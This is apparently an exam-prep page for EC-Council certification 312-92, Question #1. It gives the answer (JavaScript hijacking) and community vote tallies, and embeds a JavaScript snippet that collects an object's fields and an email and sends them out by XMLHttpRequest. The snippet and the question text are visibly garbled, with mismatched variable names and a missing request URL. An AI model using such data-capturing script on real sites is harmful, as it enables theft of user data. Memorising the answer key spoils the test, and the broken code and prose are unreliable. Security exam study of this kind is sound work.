nerdexam
EC-Council

312-92 · Question #1

Travis, a senior systems developer for YNY Services, received an email recently from an unknown source. Instead of opening the email on his normal production machine, Travis decides to copy the…

The correct answer is C. JavaScript hijacking. See the full explanation below for the reasoning.

Question

Travis, a senior systems developer for YNY Services, received an email recently from an unknown source. Instead of opening the email on his normal production machine, Travis decides to copy the email to a thumb drive and examine it from a quarantined PC not on the network. Travis examines to get back on his production computer and examine the code of that site. From the following code snippet, what has Travis discovered? <script> function object() { this.email setter = captureobject } function captureobject(x) { var objstring = "" for(fld in this) { obstring += fld + ": " this[fld] + ", "; } obstring += "email: " + x; var req = new XMLHttpRequest(); escape(objString), true); req.send(null); } </script>

Options

  • AURL obfuscation
  • BXSS attack
  • CJavaScript hijacking
  • DURL tampering

How the community answered

(26 responses)
  • A
    8% (2)
  • B
    15% (4)
  • C
    69% (18)
  • D
    8% (2)

Community Discussion

No community discussion yet for this question.

Full 312-92 Practice